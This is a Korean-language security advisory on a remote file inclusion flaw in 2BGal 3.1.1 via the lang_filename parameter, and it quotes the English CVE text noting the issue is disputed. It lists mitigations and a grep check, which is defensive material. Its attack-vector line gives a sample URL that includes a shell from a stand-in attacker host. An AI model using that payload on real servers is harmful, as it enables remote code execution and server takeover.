🇰🇷 한글 설명
2BGal 3.1.1의 PHP 원격 파일 포함(RFI) 취약점으로, lang_filename 매개변수를 통해 공격자가 원격 서버의 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. index.php와 admin/backupdb.inc.php 등 여러 파일이 영향을 받습니다.
💡 쉬운 설명
2BGal이라는 웹 사이트 빌더에서 파일 경로를 검증하지 않아, 공격자가 인터넷의 다른 위치에서 악의적인 파일을 실행시킬 수 있는 문제입니다. 이를 통해 웹 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in 2BGal 3.1.1 allow remote attackers to execute arbitrary PHP code via a URL in the lang_filename parameter to (1) index.php or (2) backupdb.inc.php in admin/, or other unspecified files, different vectors than CVE-2006-5505. NOTE: this issue has been disputed by CVE, since the lang_filename variable is defined before it is used
📍 영향받는 시스템
2BGal 3.1.1 및 이전 버전
⚔️ 공격 벡터
lang_filename 매개변수에 원격 URL을 전달하여 원격 파일 포함 공격 수행: index.php?lang_filename=http://attacker.com/shell.php
🛡️ 대응 방법
2BGal을 최신 버전으로 업그레이드하거나, lang_filename 매개변수에 대한 입력 검증 및 화이트리스트 필터링 적용
🔧 검증 코드
2BGal 설치 디렉토리에서 lang_filename 매개변수 사용 위치를 찾아 입력 검증 코드 확인; 필터링이 없으면 취약함
grep -r 'lang_filename' /path/to/2bgal/ 2>/dev/null | head -5